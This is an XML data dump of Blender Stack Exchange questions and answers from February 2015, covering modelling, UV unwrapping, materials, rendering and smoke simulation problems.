  <row Id="24642" PostTypeId="2" ParentId="24558" CreationDate="2015-02-12T12:01:49.693" Score="2" Body="&lt;p&gt;You can use a lower &lt;em&gt;Stiffness&lt;/em&gt; value in the hair dynamics settings (less than 2) for short hair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NT2kr.jpg&quot; alt=&quot;Hair Stiffness&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="6204" LastEditDate="2015-02-12T12:38:43.783" LastActivityDate="2015-02-12T12:38:43.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24643" PostTypeId="2" ParentId="24632" CreationDate="2015-02-12T12:06:51.083" Score="4" Body="&lt;p&gt;This can be done very easily thanks to the Cycles material editor and the &lt;em&gt;Solidify&lt;/em&gt; modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First add a material and change the color as desired. The default material is a light grey diffuse material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CCaoL.gif&quot; alt=&quot;AddMaterial&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add the &lt;em&gt;Solidify&lt;/em&gt; modifier and change the &lt;em&gt;Thickness&lt;/em&gt; value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aTSwC.gif&quot; alt=&quot;Solidify Material&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-12T14:43:26.857" LastActivityDate="2015-02-12T14:43:26.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24644" PostTypeId="1" AcceptedAnswerId="24646" CreationDate="2015-02-12T13:27:57.253" Score="1" ViewCount="1134" Body="&lt;p&gt;So all I want to do is unwrap this UV mesh correctly so I can export it to Photoshop, however once i unwrap it I get a mess of jumbled shapes that leaves no reason whatsoever. I made a video of it so that someone could help me if they would like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=diXBAGYHFBM&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=diXBAGYHFBM&amp;amp;feature=youtu.be&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I apologize in advance my voice is very low.&lt;/p&gt;&#xA;" OwnerUserId="11552" LastEditorDisplayName="user1853" LastEditDate="2015-11-30T22:39:31.900" LastActivityDate="2015-11-30T22:39:31.900" Title="UV Mesh Not Unwrapping Correctly" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24645" PostTypeId="1" CreationDate="2015-02-12T13:40:17.517" Score="4" ViewCount="902" Body="&lt;p&gt;For me, the hardest part is usually connecting creased edges with non creased (or sharp surface with smooth one). I am always trying to use proximity loops technique explained by Jonathan Williamson here:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=nBkwodrQq_4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=nBkwodrQq_4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am working on model in the picture below.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CVokM.jpg&quot; alt=&quot;object mode picture&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to achieve, is to have sharp edge at the place in green circle and smooth surface on the area in red circle. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/BKy3m.jpg&quot; alt=&quot;circled&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Topology details in edit mode. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/bNL8A.jpg&quot; alt=&quot;Topology details in edit mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However with this kind of topology, the edge is sharp all along it's length. I am not sure if there is some plugin that can arrange edges so that even edges that are very close together can form smooth surface (something like circle in loop tools), calculating the adjacent edges.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="2217" LastEditDate="2015-11-22T23:21:21.090" LastActivityDate="2018-03-22T13:27:27.757" Title="How to connect sharp edge with smooth one?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;edges&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="13" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24646" PostTypeId="2" ParentId="24644" CreationDate="2015-02-12T14:24:34.900" Score="2" Body="&lt;p&gt;Your mesh is displaying dots along some of the edges. There are quite a few in the video, I marked a few below. These are actually face centres and show that there are hidden faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZfLI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode select everything and choose &lt;kbd&gt;W&lt;/kbd&gt;&gt; &lt;em&gt;Remove Doubles&lt;/em&gt; and this should get rid of the extra faces by merging close vertices.&#xA;From the blend file you supplied I also found many internal faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f9NUl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These need to be deleted (&lt;kbd&gt;X&lt;/kbd&gt;&gt; &lt;em&gt;Faces&lt;/em&gt;). You can then also use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; to recalculate normals to make sure all your faces are pointing the right way&#xA; before unwrapping again.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-12T15:36:37.897" LastActivityDate="2015-02-12T15:36:37.897" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24647" PostTypeId="1" CreationDate="2015-02-12T14:38:50.787" Score="4" ViewCount="449" Body="&lt;p&gt;I want to create a custom bend tool with python. Could you help me with math?&#xA;I just need something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lWZ6u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not good in math. I hope you can help me a bit.&#xA;I also found this thread for maxScript. Not sure if it's helpful...&#xA;&lt;a href=&quot;http://forums.cgsociety.org/archive/index.php/t-726810.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://forums.cgsociety.org/archive/index.php/t-726810.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I need to bend vertices to 180 degrees with a center of 0,0,0.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="7777" LastEditDate="2015-03-01T15:18:40.310" LastActivityDate="2015-03-01T15:19:47.367" Title="Python: bend modifier math" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24648" PostTypeId="1" CreationDate="2015-02-12T15:12:52.847" Score="4" ViewCount="6209" Body="&lt;p&gt;.pdf files supports &lt;a href=&quot;https://helpx.adobe.com/acrobat/using/displaying-3d-models-pdfs.html&quot; rel=&quot;nofollow&quot;&gt;Displaying 3D models&lt;/a&gt;, you can view the model from any angle by mouse movements - sort of like looking through the viewport, only the object is fully rendered, &quot;real&quot;, etc. This requires a .ud3 file. Blender does not export a .ud3 file. Any alternatives to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="739" LastEditDate="2015-11-09T17:52:18.380" LastActivityDate="2021-05-06T03:12:07.207" Title="Export 3D model from Blender to .U3D for use in PDF file" Tags="&lt;export&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24649" PostTypeId="2" ParentId="24570" CreationDate="2015-02-12T16:01:11.667" Score="2" Body="&lt;p&gt;Maybe the question is a little off topic for the blender.stackexchange&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;a href=&quot;https://pypi.python.org/pypi/python-osc&quot; rel=&quot;nofollow&quot;&gt;python-osc&lt;/a&gt; for talking over OSC between Blender and any OSC supporting program (Processing comes with an OSC library). You could make your own bindings.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-02-12T16:06:15.453" LastActivityDate="2015-02-12T16:06:15.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24650" PostTypeId="1" AcceptedAnswerId="24678" CreationDate="2015-02-12T17:02:13.060" Score="10" ViewCount="3176" Body="&lt;p&gt;Laser beams are usually not cylinders of light, but instead they have a smooth beam profile, where they are brighter in the center of the beam and dimmer towards the sides. The cross section typically looks like a Gaussian function, do they are often called &quot;&lt;a href=&quot;http://en.wikipedia.org/wiki/Gaussian_beam&quot; rel=&quot;nofollow noreferrer&quot;&gt;gaussian beams&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consequently, in illustrations, the lasers are often rendered such that they are most intense in the center and fade out towards the sides. I have achieved this using a blur effect in the compositor, but since Blender can handle most of the other physics in the world, I would like to include realistic laser beams directly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have come up with so far, but I am not quite happy with the results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yHFTZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blue beam was created using the node layout described &lt;a href=&quot;https://blender.stackexchange.com/questions/23054/volume-emitter-that-is-more-intense-towards-the-outside-of-the-object&quot;&gt;in this post&lt;/a&gt;, except that I swapped the order of the colors in the color ramp. This still displays very sharp edges and they do not match the natural background color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1y9nH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the green beam, I tried to do the most realistic thing possible: I combined a volume emitter with a volume scatterer object. In reality, it is the scattering of the laser beam by particles in the air that allows us to see the beam, so I thought that this was the most appropriate. I added a set of nodes (yellow) to control the longitudinal intensity of the emitter in order to make the beam brighter near the focus (right side). Then, I included a set of nodes (red) to control the radial intensity of the beam in order to give it a nice soft edge. However, I just scaled the intensity along the radial coordinate, but did not take into account the fact that the beam is getting smaller. So, there is a nice gradient of intensity near the left side of the beam, but it's still very sharp towards the right side. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I suppose the question is how do I scale the intensity of the emitter while taking into account the width of the beam? &lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-02-16T10:24:09.600" Title="Make &quot;gaussian laser beam&quot; (object with variable radial emission profile)" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24652" PostTypeId="2" ParentId="24641" CreationDate="2015-02-12T18:10:56.633" Score="5" Body="&lt;p&gt;By default it uses blender units (BU), which are equivalent to meters. You can specify imperial or metric units in &lt;em&gt;Properties &gt; Scene &gt; Units&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b3GzA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b3GzA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KnKOQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/17966/599&quot;&gt;Blender units vs metric&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/254/599&quot;&gt;How do blender units and meters, feet, or yards correlate?&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/18142/599&quot;&gt;What is a sensible scale to work with?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorDisplayName="user1853" LastEditDate="2020-01-12T01:18:06.820" LastActivityDate="2020-01-12T01:18:06.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24653" PostTypeId="2" ParentId="24596" CreationDate="2015-02-12T18:37:51.607" Score="2" Body="&lt;p&gt;You could also handle this in the same way you would if you were using a camera; by adjusting the exposure settings. These can be adjusted in &lt;em&gt;Properties &gt; Scene &gt; Color Management&lt;/em&gt;, or of course in the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HXX2e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/41PbF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;I rather liked the yellow look of this film preset :P&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you get to keep indirect lighting :)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-12T18:37:51.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24654" PostTypeId="1" CreationDate="2015-02-12T18:55:07.563" Score="2" ViewCount="1051" Body="&lt;p&gt;I am still fairly new to Blender (couple months in)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm working with a tileset that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vq9mi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in Unity places these tiles procedurally and creates a world out of them. It works pretty well, but we would also ideally want to use a single texture on all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture we have looks like this (the green tickmarks are guides for me and don't show up in the final model):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gyj59.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a screenshot of the tile pieces that I have completed the UVs for. They work, and they tile correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eUT4I.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gP41E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that this process takes a long time. I am basically moving UV vertexes around manually in the UV editor. Is there a better way to do this? As an aside, the seams I've chosen also look like crap in Unity, which is another issue but may be related to how I'm doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're trying to accomplish a look of &quot;grass transitioning to dirt&quot; in one texture and tileset, with a kind of cartoony, cell-shaded look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pldpa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11555" LastActivityDate="2015-02-12T19:52:48.653" Title="Quickest way to create UVs for a tileset using a single tiling texture" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24655" PostTypeId="1" CreationDate="2015-02-12T19:19:37.660" Score="1" ViewCount="172" Body="&lt;p&gt;I have textured a bunch of objects through the UV/Image Editor (&lt;em&gt;Unwrap UV's &gt; Image &gt; Open Image &gt;&lt;/em&gt; etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some objects that I've textured in this way, in Object Mode, the texture on the object will disappear when I deselect the object (even whilst I am still in &lt;em&gt;Texture Shading&lt;/em&gt; mode). The texture is replaced by a pure white (I have &lt;em&gt;Shading &gt; Shadeless&lt;/em&gt; turned on). Strangely, for some objects, this does not happen at all. I am pretty sure that I followed the same steps to texture each object (exact same workflow pattern in the UI). I double-checked and repeated the UV unwrapping and texturing process for each object. Same problem occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All things considered, it's a minor annoyance, but for some reason it is very disruptive for me. I would rather be able to see all textures for all objects while in the Textured shading mode. What steps should I take?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Blender version is 2.72b, Windows 7 x86-64, Blender Internal render engine.&lt;/p&gt;&#xA;" OwnerUserId="11556" LastEditorUserId="2217" LastEditDate="2015-02-12T19:36:59.090" LastActivityDate="2015-02-12T19:36:59.090" Title="In Textured shading mode, texture does not appear on an object unless the object is selected" Tags="&lt;texturing&gt;&lt;3d-view&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24656" PostTypeId="1" AcceptedAnswerId="24670" CreationDate="2015-02-12T19:26:18.840" Score="1" ViewCount="179" Body="&lt;p&gt;Under Animation Screen layout when I position camera towards my model and render the image.It's not as I expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: Suppose If I lift my right leg,in Rendered Image it's showing as left leg. Further if I need to see right body of my model I need to place camera on left side.Help me in rectifying it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mark this question as duplicate please guide me to the correct answer i.e. share link of it if you knew. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sLKPi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LCoFX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/boJkV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m6Ynv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11538" LastEditorUserId="11538" LastEditDate="2015-02-12T21:31:31.337" LastActivityDate="2015-02-12T21:34:12.623" Title="Camera Prespective under Animation screen layout showing mirror Image" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24657" PostTypeId="1" AcceptedAnswerId="39836" CreationDate="2015-02-12T19:30:10.717" Score="2" ViewCount="3621" Body="&lt;p&gt;Try making a cube, subdiving a face, dissolving it and subdividing it again. You'll see it doesn't work. This needs to be fixed.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2016-12-06T15:31:08.290" Title="After dissolving faces, subdivide on the face doesn't work" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24658" PostTypeId="2" ParentId="24657" CreationDate="2015-02-12T19:35:48.150" Score="3" Body="&lt;p&gt;because it's a NGon. dissolving faces doesn't dissolve vertices. if you're in vertex mode, you'll see subdividing won't affect the face but adds vertices (and then edges). It's not a bug, your face is and continues to be a NGon.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-12T19:35:48.150" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="24659" PostTypeId="2" ParentId="24654" CreationDate="2015-02-12T19:52:48.653" Score="1" Body="&lt;p&gt;You may try the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.74/Modeling#Mesh_Data_Transfer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Data Transfer&lt;/a&gt; modifier, which will be released with the coming 2.74, but you can still experience it in the latest daily builds &lt;a href=&quot;http://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a &lt;strong&gt;Data Transfer&lt;/strong&gt; modifier, choose the source object you want to copy from.&lt;/li&gt;&#xA;&lt;li&gt;Toggle &lt;em&gt;Face Corner Data&lt;/em&gt; &gt; &lt;em&gt;UVs&lt;/em&gt;, then press &lt;strong&gt;Generate Data Layers&lt;/strong&gt; button, which will generate a UV data for the new object (you cannot see it until the modifier is applied).&lt;/li&gt;&#xA;&lt;li&gt;Choose a proper method from the list on the right, you can preview it in GLSL shading mode. Finally, apply the modifier to generate a solid UV layer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Before:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VLvhR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j7jS1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For batch copying modifier among objects, you can enable the &lt;strong&gt;Copy Attributes Menu&lt;/strong&gt; addon.&lt;/li&gt;&#xA;&lt;li&gt;Since it is not fairly stable (currently), use it with caution.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-02-12T19:52:48.653" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24660" PostTypeId="1" AcceptedAnswerId="24667" CreationDate="2015-02-12T19:54:56.580" Score="2" ViewCount="16962" Body="&lt;p&gt;I have a cube that is subdivided and with a hole cut through it, but there are 2 excess vertices on each edge between the real vertices. How do i properly delete them without upsetting my project?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: what to do if the vertex is in the middle of an edge?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9eZ3q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/07ydU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-02-12T20:57:28.953" LastActivityDate="2017-04-24T08:03:36.347" Title="How to get rid of excess vertices lined up in a straight line" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24661" PostTypeId="2" ParentId="24645" CreationDate="2015-02-12T19:56:01.347" Score="3" Body="&lt;p&gt;All you need to do is separate the edge loops on the side you want smooth. Think of it as the opposite of proximity loops, where proximity loops make edges sharper, spreading out the edge loops will make it softer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply select the vertices on the side you want smother, and press &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to edge slide them in to place.&lt;br&gt;&#xA;If you get any shading artifacts, switch to side view and make sure all the edges and vertices are aligned. Scale to 0 on (an example) the Z axis to re-aline. For example, if you lowered one of the vertices, that will create a dip in the subdivided mesh and break the smooth look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vertices I moved are selected in this image.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vCBe3.png&quot; alt=&quot;mesh in edit mode with vertices selected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited mesh in object mode&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xAQbt.png&quot; alt=&quot;edited mesh in object mode&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/p2liom.png&quot; alt=&quot;edited mesh in object mode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2018-03-22T13:27:27.757" LastActivityDate="2018-03-22T13:27:27.757" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24662" PostTypeId="1" CreationDate="2015-02-12T19:56:06.697" Score="3" ViewCount="263" Body="&lt;p&gt;I know that I can control the colour of smoke with its temperature, but the temperature of the smoke keeps decreasing over time. I want it to remain constant, so that the only changes in smoke temp is when smoke from two different temperature emitters mix together. Is there away to control that?&lt;/p&gt;&#xA;" OwnerUserId="11557" LastActivityDate="2015-03-02T11:42:56.947" Title="Smoke simulator temperature decay" Tags="&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24663" PostTypeId="1" AcceptedAnswerId="24671" CreationDate="2015-02-12T20:18:45.283" Score="0" ViewCount="76" Body="&lt;p&gt;I am watching a tuto on NLA doing on blender 2.66. I have the 2.72 version. I can not found the complete  properties  of animation in the NLA window (image2) as in the 2.66 version (image1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4qu6M.png&quot; alt=&quot;image1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jtCEm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-02-12T21:21:13.093" Title="NLA and animation properties" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;blender-internal-render-engine&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24664" PostTypeId="2" ParentId="24645" CreationDate="2015-02-12T20:19:10.993" Score="2" Body="&lt;p&gt;Here is my solution. Although it's not perfect, you may try it.&#xA;Here's the .blend: &lt;a href=&quot;http://www.pasteall.org/blend/34364&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/34364&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n9oCe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Nixze.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-02-12T20:19:10.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24665" PostTypeId="2" ParentId="24656" CreationDate="2015-02-12T20:22:35.127" Score="0" Body="&lt;p&gt;It looks like your render is flipped. Check your compositing (nodes) for flip node or scale node (with -1 X value)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change the viewport to Node Editor:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kbECs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to compositing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CehHT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check if you have one of these nodes:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Wbbxh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-12T20:22:35.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24666" PostTypeId="2" ParentId="24660" CreationDate="2015-02-12T20:33:35.920" Score="3" Body="&lt;p&gt;You can use the &lt;em&gt;Dissolve&lt;/em&gt; operator for this. Select the edges that contain the vertices to be dissolved, by going into Edge Select mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt;&gt;&lt;em&gt;Edge&lt;/em&gt;), and press &lt;kbd&gt;X&lt;/kbd&gt;&gt;&lt;em&gt;Dissolve Vertices&lt;/em&gt;. This will delete all &quot;unneeded&quot; vertices, so that the shape of the object doesn't change; it will, however, create n-gons, which are not good in some cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dvbKJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this specific case, this you can't select the entire face and dissolve it, because there must always be edges that connect the outer to the inner part of the front face, as an n-gon cannot have a hole.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2015-02-12T20:42:32.193" LastActivityDate="2015-02-12T20:42:32.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
